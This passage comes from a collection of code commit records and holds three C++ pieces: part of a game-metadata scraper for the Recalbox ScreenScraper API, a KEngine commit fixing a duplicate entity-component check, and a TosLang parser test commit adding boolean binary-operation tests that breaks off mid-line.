Playstation\")\n\t(PLAYSTATION_2, \"Sony Playstation 2\")\n\t(PLAYSTATION_3, \"Sony Playstation 3\")\n\t(PLAYSTATION_4, \"Sony Playstation 4\")\n\t(PLAYSTATION_VITA, \"Sony Playstation Vita\")\n\t(PLAYSTATION_PORTABLE, \"Sony PSP\")\n\t(SUPER_NINTENDO, \"Super Nintendo (SNES)\")\n\t(TURBOGRAFX_16, \"TurboGrafx 16\")\n\t(WONDERSWAN, \"WonderSwan\")\n\t(WONDERSWAN_COLOR, \"WonderSwan Color\")\n\t(ZX_SPECTRUM, \"Sinclair ZX Spectrum\")\n\t(VIRTUAL_BOY, \"Nintendo Virtual Boy\")\n\t(GAME_AND_WATCH, \"game-and-watch\")\n\t(PC_ENGINE_CD, \"TurboGrafx CD\")\n\t(SUPERGRAFX, \"TurboGrafx 16\")\n\t(PRBOOM, \"PC\")\n\t(VECTREX, \"Vectrex\")\n\t(LUTRO, \"PC\")\n\t(CAVE_STORY, \"PC\")\n\t(ODYSSEY_2, \"Magnavox Odyssey 2\")\n\t(ZX_81, \"Sinclair ZX Spectrum\")\n\t(MOONLIGHT,\"PC\");\n\nstatic const std::map<std::string, const char*> system_language_map = boost::assign::map_list_of\n\t(\"fr_FR\", \"\")\n\t(\"de_DE\", \"forcelangue=de&\")\n\t(\"es_ES\", \"forcelangue=es&\")\n\t(\"en_US\", \"forcelangue=en&\")\n\t(\"pt_BR\", \"forcelangue=pt&\");\n\nvoid screenscraper_generate_scraper_requests(const ScraperSearchParams& params, std::queue< std::unique_ptr<ScraperRequest> >& requests, \n\tstd::vector<ScraperSearchResult>& results)\n{\n\tstd::string path = \"screenscraper.recalbox.com\/api\/thegamedb\/GetGame.php?\";\n\tstd::string languageSystem = RecalboxConf::getInstance()->get(\"system.language\");\n\n\tif((system_language_map.find(languageSystem)) != system_language_map.end())\n\t{\n\t\tpath += (system_language_map.find(languageSystem)->second);\n\t}else{\n\t\tpath += \"forcelangue=en&\";\n\t}\n\n\tstd::string cleanName = params.game->getPath().filename().c_str();\n\n\tpath += \"name=\" + HttpReq::urlEncode(cleanName);\n\n\tif(params.system->getPlatformIds().empty())\n\t{\n\t\t\/\/ no platform specified, we're done\n\t\trequests.push(std::unique_ptr<ScraperRequest>(new ScreenscraperRequest(results, path)));\n\t}else{\n\t\t\/\/ go through the list, we need to split this into multiple requests \n\t\t\/\/ because TheGamesDB API either sucks or I don't know how to use it properly...\n\t\tstd::string urlBase = path;\n\t\tauto& platforms = params.system->getPlatformIds();\n\t\tfor(auto platformIt = platforms.begin(); platformIt != platforms.end(); platformIt++)\n\t\t{\n\t\t\tpath = urlBase;\n\t\t\tauto mapIt = gamesdb_platformid_map.find(*platformIt);\n\t\t\tif(mapIt != gamesdb_platformid_map.end())\n\t\t\t{\n\t\t\t\tpath += \"&platform=\";\n\t\t\t\tpath += HttpReq::urlEncode(mapIt->second);\n\t\t\t}else{\n\t\t\t\tLOG(LogWarning) << \"Screenscraper scraper warning - no support for platform \" << getPlatformName(*platformIt);\n\t\t\t}\n\n\t\t\trequests.push(std::unique_ptr<ScraperRequest>(new ScreenscraperRequest(results, path)));\n\t\t}\n\t}\n}\n\nvoid ScreenscraperRequest::process(const std::unique_ptr<HttpReq>& req, std::vector<ScraperSearchResult>& results)\n{\n\tassert(req->status() == HttpReq::REQ_SUCCESS);\n\n\tpugi::xml_document doc;\n\tpugi::xml_parse_result parseResult = doc.load(req->getContent().c_str());\n\tif(!parseResult)\n\t{\n\t\tstd::stringstream ss;\n\t\tss << \"ScreenscraperRequest - Error parsing XML. \\n\\t\" << parseResult.description() << \"\";\n\t\tstd::string err = ss.str();\n\t\tsetError(err);\n\t\tLOG(LogError) << err;\n\t\treturn;\n\t}\n\n\tpugi::xml_node data = doc.child(\"Data\");\n\n\tstd::string baseImageUrl = data.child(\"baseImgUrl\").text().get();\n\n\tpugi::xml_node game = data.child(\"Game\");\n\twhile(game && results.size() < MAX_SCRAPER_RESULTS)\n\t{\n\t\tScraperSearchResult result;\n\n\t\tresult.mdl.set(\"name\", game.child(\"GameTitle\").text().get());\n\t\tresult.mdl.set(\"desc\", game.child(\"Overview\").text().get());\n\n\t\tboost::posix_time::ptime rd = string_to_ptime(game.child(\"ReleaseDate\").text().get(), \"%m\/%d\/%Y\");\n\t\tresult.mdl.setTime(\"releasedate\", rd);\n\n\t\tresult.mdl.set(\"developer\", game.child(\"Developer\").text().get());\n\t\tresult.mdl.set(\"publisher\", game.child(\"Publisher\").text().get());\n\t\tresult.mdl.set(\"genre\", game.child(\"Genres\").first_child().text().get());\n\t\tresult.mdl.set(\"players\", game.child(\"Players\").text().get());\n\n\t\tif(Settings::getInstance()->getBool(\"ScrapeRatings\") && game.child(\"Rating\"))\n\t\t{\n\t\t\tresult.mdl.set(\"rating\", game.child(\"Rating\").text().get());\n\t\t}\n\n\t\tpugi::xml_node images = game.child(\"Images\");\n\n\t\tif(images)\n\t\t{\n\t\t\tpugi::xml_node art = images.find_child_by_attribute(\"boxart\", \"side\", \"front\");\n\n\t\t\tif(art)\n\t\t\t{\n\t\t\t\tresult.thumbnailUrl = baseImageUrl + art.attribute(\"thumb\").as_string();\n\t\t\t\tresult.imageUrl = baseImageUrl + art.text().get();\n\t\t\t}\n\t\t}\n\n\t\tresults.push_back(result);\n\t\tgame = game.next_sibling(\"Game\");\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"KEngine\/Core\/Entity.hpp\"\n#include \"KEngine\/Interfaces\/IEntityComponent.hpp\"\n#include \"KEngine\/Log\/Log.hpp\"\n\n#include <cassert>\n#include <chrono>\n#include <random>\n#include <type_traits>\n\nnamespace ke::priv\n{\n    static auto & getEntityIdGeneratorInstance()\n    {\n        static auto generator = std::mt19937_64(std::chrono::system_clock::now().time_since_epoch().count());\n        return generator;\n    }\n}\n\nnamespace ke\n{\n\n    ke::EntityId Entity::newId()\n    {\n        auto & generator = ke::priv::getEntityIdGeneratorInstance();\n        std::remove_reference<decltype(generator)>::type::result_type temp = generator();\n        while (temp == INVALID_ENTITY_ID) temp = generator();\n        return temp;\n    }\n\n    Entity::Entity(const ke::EntityId p_ID)\n        : m_EntityID(p_ID)\n    {}\n\n    Entity::Entity(ke::Entity && p_rrEntity)\n        : m_Components(std::move(p_rrEntity.m_Components))\n        , m_ComponentSPMap(std::move(p_rrEntity.m_ComponentSPMap))\n        , m_EntityID(std::move(p_rrEntity.getId()))\n    {}\n\n    Entity & Entity::operator=(ke::Entity && p_rrEntity)\n    {\n        m_Components = std::move(p_rrEntity.m_Components);\n        m_ComponentSPMap = std::move(p_rrEntity.m_ComponentSPMap);\n        m_EntityID = p_rrEntity.getId();\n        return *this;\n    }\n\n    Entity::~Entity(void)\n    {\n        assert(this->m_ComponentSPMap.empty()); \/\/ component must be empty (all circular references removed).\n    }\n\n    void Entity::addComponent(ke::EntityComponentSptr p_spEntityComponent)\n    {\n        assert(p_spEntityComponent != nullptr); \/\/ should not be null.\n        const auto result = m_ComponentSPMap.insert(std::make_pair(p_spEntityComponent->getType(), p_spEntityComponent));\n        assert(result.second); \/\/ fails if insertion failed.\n        if (result.second)\n        {\n            ke::Log::instance()->error(\"Attempted to add entity component of duplicate type: {0:#x}\", p_spEntityComponent->getType());\n            return;\n        }\n        m_Components.push_back(p_spEntityComponent);\n    }\n\n    bool Entity::initialise(void)\n    {\n        bool result = true;\n        for (auto & it : m_ComponentSPMap)\n            if (!it.second->isInitialised())\n            {\n                if (it.second->initialise())\n                {\n                    it.second->postInitialise();\n                }\n                else\n                {\n                    ke::Log::instance()->error(\"Entity named '{}'({}) failed to initialise its component: '{}'\",\n                        this->getName(), this->getId(), it.second->getName());\n                    result = false;\n                }\n            }\n            \n        return result;\n    }\n\n    void Entity::updateAll(const ke::Time & p_ElapsedTime)\n    {\n        if (!this->m_Initialised)\n        {\n            this->m_Initialised = this->initialise();\n        }\n\n        for (auto & it : m_Components)\n            it->update(p_ElapsedTime);\n    }\n\n}<commit_msg>fix incorrect duplicate entity component checking<commit_after>#include \"KEngine\/Core\/Entity.hpp\"\n#include \"KEngine\/Interfaces\/IEntityComponent.hpp\"\n#include \"KEngine\/Log\/Log.hpp\"\n\n#include <cassert>\n#include <chrono>\n#include <random>\n#include <type_traits>\n\nnamespace ke::priv\n{\n    static auto & getEntityIdGeneratorInstance()\n    {\n        static auto generator = std::mt19937_64(std::chrono::system_clock::now().time_since_epoch().count());\n        return generator;\n    }\n}\n\nnamespace ke\n{\n\n    ke::EntityId Entity::newId()\n    {\n        auto & generator = ke::priv::getEntityIdGeneratorInstance();\n        std::remove_reference<decltype(generator)>::type::result_type temp = generator();\n        while (temp == INVALID_ENTITY_ID) temp = generator();\n        return temp;\n    }\n\n    Entity::Entity(const ke::EntityId p_ID)\n        : m_EntityID(p_ID)\n    {}\n\n    Entity::Entity(ke::Entity && p_rrEntity)\n        : m_Components(std::move(p_rrEntity.m_Components))\n        , m_ComponentSPMap(std::move(p_rrEntity.m_ComponentSPMap))\n        , m_EntityID(std::move(p_rrEntity.getId()))\n    {}\n\n    Entity & Entity::operator=(ke::Entity && p_rrEntity)\n    {\n        m_Components = std::move(p_rrEntity.m_Components);\n        m_ComponentSPMap = std::move(p_rrEntity.m_ComponentSPMap);\n        m_EntityID = p_rrEntity.getId();\n        return *this;\n    }\n\n    Entity::~Entity(void)\n    {\n        assert(this->m_ComponentSPMap.empty()); \/\/ component must be empty (all circular references removed).\n    }\n\n    void Entity::addComponent(ke::EntityComponentSptr p_spEntityComponent)\n    {\n        assert(p_spEntityComponent != nullptr); \/\/ should not be null.\n        const auto result = m_ComponentSPMap.insert(std::make_pair(p_spEntityComponent->getType(), p_spEntityComponent));\n        assert(result.second); \/\/ fails if insertion failed.\n        if (!result.second)\n        {\n            ke::Log::instance()->error(\"Attempted to add entity component of duplicate type: {0:#x}\", p_spEntityComponent->getType());\n            return;\n        }\n        m_Components.push_back(p_spEntityComponent);\n    }\n\n    bool Entity::initialise(void)\n    {\n        bool result = true;\n        for (auto & it : m_ComponentSPMap)\n            if (!it.second->isInitialised())\n            {\n                if (it.second->initialise())\n                {\n                    it.second->postInitialise();\n                }\n                else\n                {\n                    ke::Log::instance()->error(\"Entity named '{}'({}) failed to initialise its component: '{}'\",\n                        this->getName(), this->getId(), it.second->getName());\n                    result = false;\n                }\n            }\n            \n        return result;\n    }\n\n    void Entity::updateAll(const ke::Time & p_ElapsedTime)\n    {\n        if (!this->m_Initialised)\n        {\n            this->m_Initialised = this->initialise();\n        }\n\n        for (auto & it : m_Components)\n            it->update(p_ElapsedTime);\n    }\n\n}<|endoftext|>"}
{"text":"<commit_before>#ifdef STAND_ALONE\n#   define BOOST_TEST_MODULE Main\n#else\n#ifndef _WIN32\n#   define BOOST_TEST_MODULE ParserVarTests\n#endif\n#endif\n\n#include \"toslang_fixture.h\"\n\n#include \"Common\/opcodes.h\"\n\nBOOST_FIXTURE_TEST_SUITE( FrontEndTestSuite, TosLangFixture )\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ CORRECT USE CASES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nBOOST_AUTO_TEST_CASE( ParseVarDeclTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_decl.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 3);\n\n    BOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\n    BOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    vDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyBoolVar\");\n\n\tBOOST_REQUIRE(cNodes[2]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tvDecl = dynamic_cast<const VarDecl*>(cNodes[2].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyStringVar\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitBoolTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_bool.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 2);\n\t\n    BOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyTrueVar\");\n    BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BOOLEAN_EXPR);\n    const BooleanExpr* bExpr = dynamic_cast<const BooleanExpr*>(vDecl->GetInitExpr());\n    BOOST_REQUIRE(bExpr != nullptr);\n    BOOST_REQUIRE_EQUAL(bExpr->GetValue(), true);\n\n    BOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    vDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyFalseVar\");\n    BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BOOLEAN_EXPR);\n    bExpr = dynamic_cast<const BooleanExpr*>(vDecl->GetInitExpr());\n    BOOST_REQUIRE(bExpr != nullptr);\n    BOOST_REQUIRE_EQUAL(bExpr->GetValue(), false);\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIntTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_int.tos\");\n\tBOOST_REQUIRE_EQUAL(cNodes.size(), 1);\n\n\tBOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::NUMBER_EXPR);\n\tconst NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(nExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(nExpr->GetValue(), 42);\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIdentifierTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_identifier.tos\");\n\tBOOST_REQUIRE_EQUAL(cNodes.size(), 2);\n\n\tBOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::NUMBER_EXPR);\n\tconst NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(nExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(nExpr->GetValue(), 42);\n\n\tBOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tvDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar2\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::IDENTIFIER_EXPR);\n\tconst IdentifierExpr* iExpr = dynamic_cast<const IdentifierExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(iExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(iExpr->GetName(), \"MyIntVar\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIntBinOpTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/binary_op_int.tos\");\n    const size_t childExpectedSize = 9;\n    BOOST_REQUIRE_EQUAL(cNodes.size(), childExpectedSize);\n\n    TosLang::Common::Opcode operations[] =\n    { \n        TosLang::Common::Opcode::PLUS,\n        TosLang::Common::Opcode::MINUS,\n        TosLang::Common::Opcode::MULT,\n        TosLang::Common::Opcode::DIVIDE,\n        TosLang::Common::Opcode::MODULO,\n        TosLang::Common::Opcode::AND_INT,\n        TosLang::Common::Opcode::OR_INT,\n        TosLang::Common::Opcode::RIGHT_SHIFT,\n        TosLang::Common::Opcode::LEFT_SHIFT,\n    };\n\n    for (size_t i = 0; i < childExpectedSize; i++)\n    {\n        BOOST_REQUIRE(cNodes[i]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n        const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[i].get());\n        BOOST_REQUIRE(vDecl != nullptr);\n        BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"V\" + std::to_string(i + 1));\n        \n        BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BINARY_EXPR);\n        const BinaryOpExpr* bExpr = dynamic_cast<const BinaryOpExpr*>(vDecl->GetInitExpr());\n        BOOST_REQUIRE(bExpr != nullptr);\n        BOOST_REQUIRE(bExpr->GetOperation() == operations[i]);\n        \n        const NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetLHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 1);\n\n        nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetRHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 1);\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ERROR USE CASES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nBOOST_AUTO_TEST_CASE( ParserBadInitTest )\n{\n    Parser parser;\n    BOOST_REQUIRE(parser.ParseProgram(\"..\/inputs\/var\/var_decl.cpp\") == nullptr);\n    BOOST_REQUIRE(parser.ParseProgram(\"BadFile.tos\") == nullptr);\n\n    std::vector<std::string> messages{ GetErrorMessages() };\n\n    \/\/ Check if the correct error messages got printed\n    BOOST_REQUIRE_EQUAL(messages.size(), 2);\n    BOOST_REQUIRE_EQUAL(messages[0], \"FILE ERROR: Wrong file type\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"FILE ERROR: Problem opening the specified file\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseBadVarDeclTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/bad_var_decl.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 10);\n\n    \/\/ Check that there is all but one non error node\n    \/\/ TODO: This should be re-enabled once the type checker is workinh again\n    \/\/BOOST_REQUIRE_EQUAL(std::count_if(cNodes.begin(), cNodes.end(), [](const std::unique_ptr<ASTNode>& node){ return node->GetKind() != ASTNode::NodeKind::ERROR; }), 1);\n    \n    \/\/ Check if the correct error messages got printed\n    std::vector<std::string> messages{ GetErrorMessages() };\n    BOOST_REQUIRE_EQUAL(messages.size(), 8);\n    BOOST_REQUIRE_EQUAL(messages[0], \"VAR ERROR: The var keyword should be followed by an identifier at line 1, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"VAR ERROR: The var keyword should be followed by an identifier at line 2, column 7\");\n    BOOST_REQUIRE_EQUAL(messages[2], \"VAR ERROR: Missing : between a variable and its type at line 3, column 12\");\n    BOOST_REQUIRE_EQUAL(messages[3], \"VAR ERROR: Missing : between a variable and its type at line 4, column 8\");\n    BOOST_REQUIRE_EQUAL(messages[4], \"VAR ERROR: Missing type from variable declaration at line 5, column 8\");\n    BOOST_REQUIRE_EQUAL(messages[5], \"ERROR: Expected a ; at line 7, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[6], \"VAR ERROR: The var keyword should be followed by an identifier at line 7, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[7], \"VAR ERROR: Trying to create a variable with void type at line 10, column 17\");\n    \n    \/\/ TODO: This should be re-enabled once the type checker is workinh again\n    \/\/ BOOST_REQUIRE_EQUAL(messages[7], \"VAR ERROR: Trying to redefine an already defined variable at line 9, column 14\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseBadVarInitBinOpTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/bad_binary_op.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 3);\n\n    \/\/ Check that we have only error nodes.\n    BOOST_REQUIRE(std::all_of(cNodes.begin(), cNodes.end(), [](const std::unique_ptr<ASTNode>& node) { return node->GetKind() == ASTNode::NodeKind::ERROR; }));\n\n    \/\/ Check if the correct error messages got printed\n    std::vector<std::string> messages{ GetErrorMessages() };\n    BOOST_REQUIRE_EQUAL(messages.size(), 3);\n    BOOST_REQUIRE_EQUAL(messages[0], \"ERROR: Not an acceptable use of a binary operation at line 1, column 14\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"ERROR: Missing right hand side in binary expression at line 2, column 15\");\n    BOOST_REQUIRE_EQUAL(messages[2], \"ERROR: Not an acceptable binary operation at line 3, column 18\");\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>TosLang: Adding test checking correct variable initialization with a boolean binary expression<commit_after>#ifdef STAND_ALONE\n#   define BOOST_TEST_MODULE Main\n#else\n#ifndef _WIN32\n#   define BOOST_TEST_MODULE ParserVarTests\n#endif\n#endif\n\n#include \"toslang_fixture.h\"\n\n#include \"Common\/opcodes.h\"\n\nBOOST_FIXTURE_TEST_SUITE( FrontEndTestSuite, TosLangFixture )\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ CORRECT USE CASES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nBOOST_AUTO_TEST_CASE( ParseVarDeclTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_decl.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 3);\n\n    BOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\n    BOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    vDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyBoolVar\");\n\n\tBOOST_REQUIRE(cNodes[2]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tvDecl = dynamic_cast<const VarDecl*>(cNodes[2].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyStringVar\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitBoolTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_bool.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 2);\n\t\n    BOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyTrueVar\");\n    BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BOOLEAN_EXPR);\n    const BooleanExpr* bExpr = dynamic_cast<const BooleanExpr*>(vDecl->GetInitExpr());\n    BOOST_REQUIRE(bExpr != nullptr);\n    BOOST_REQUIRE_EQUAL(bExpr->GetValue(), true);\n\n    BOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n    vDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n    BOOST_REQUIRE(vDecl != nullptr);\n    BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyFalseVar\");\n    BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BOOLEAN_EXPR);\n    bExpr = dynamic_cast<const BooleanExpr*>(vDecl->GetInitExpr());\n    BOOST_REQUIRE(bExpr != nullptr);\n    BOOST_REQUIRE_EQUAL(bExpr->GetValue(), false);\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIntTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_int.tos\");\n\tBOOST_REQUIRE_EQUAL(cNodes.size(), 1);\n\n\tBOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::NUMBER_EXPR);\n\tconst NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(nExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(nExpr->GetValue(), 42);\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIdentifierTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/var_init_identifier.tos\");\n\tBOOST_REQUIRE_EQUAL(cNodes.size(), 2);\n\n\tBOOST_REQUIRE(cNodes[0]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tconst VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[0].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::NUMBER_EXPR);\n\tconst NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(nExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(nExpr->GetValue(), 42);\n\n\tBOOST_REQUIRE(cNodes[1]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n\tvDecl = dynamic_cast<const VarDecl*>(cNodes[1].get());\n\tBOOST_REQUIRE(vDecl != nullptr);\n\tBOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"MyIntVar2\");\n\tBOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::IDENTIFIER_EXPR);\n\tconst IdentifierExpr* iExpr = dynamic_cast<const IdentifierExpr*>(vDecl->GetInitExpr());\n\tBOOST_REQUIRE(iExpr != nullptr);\n\tBOOST_REQUIRE_EQUAL(iExpr->GetName(), \"MyIntVar\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitBoolBinOpTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/binary_op_bool.tos\");\n    const size_t childExpectedSize = 4;\n    BOOST_REQUIRE_EQUAL(cNodes.size(), childExpectedSize);\n\n    TosLang::Common::Opcode operations[] =\n    {\n        TosLang::Common::Opcode::AND_BOOL,\n        TosLang::Common::Opcode::OR_BOOL,\n        TosLang::Common::Opcode::GREATER_THAN,\n        TosLang::Common::Opcode::LESS_THAN,\n    };\n\n    size_t i = 0;\n    for (; i < 2; ++i)\n    {\n        BOOST_REQUIRE(cNodes[i]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n        const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[i].get());\n        BOOST_REQUIRE(vDecl != nullptr);\n        BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"V\" + std::to_string(i + 1));\n\n        BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BINARY_EXPR);\n        const BinaryOpExpr* bExpr = dynamic_cast<const BinaryOpExpr*>(vDecl->GetInitExpr());\n        BOOST_REQUIRE(bExpr != nullptr);\n        BOOST_REQUIRE(bExpr->GetOperation() == operations[i]);\n\n        const BooleanExpr* boolExpr = dynamic_cast<const BooleanExpr*>(bExpr->GetLHS());\n        BOOST_REQUIRE(boolExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(boolExpr->GetValue(), true);\n\n        boolExpr = dynamic_cast<const BooleanExpr*>(bExpr->GetRHS());\n        BOOST_REQUIRE(boolExpr!= nullptr);\n        BOOST_REQUIRE_EQUAL(boolExpr->GetValue(), false);\n    }\n\n    for (; i < childExpectedSize; i++)\n    {\n        BOOST_REQUIRE(cNodes[i]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n        const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[i].get());\n        BOOST_REQUIRE(vDecl != nullptr);\n        BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"V\" + std::to_string(i + 1));\n\n        BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BINARY_EXPR);\n        const 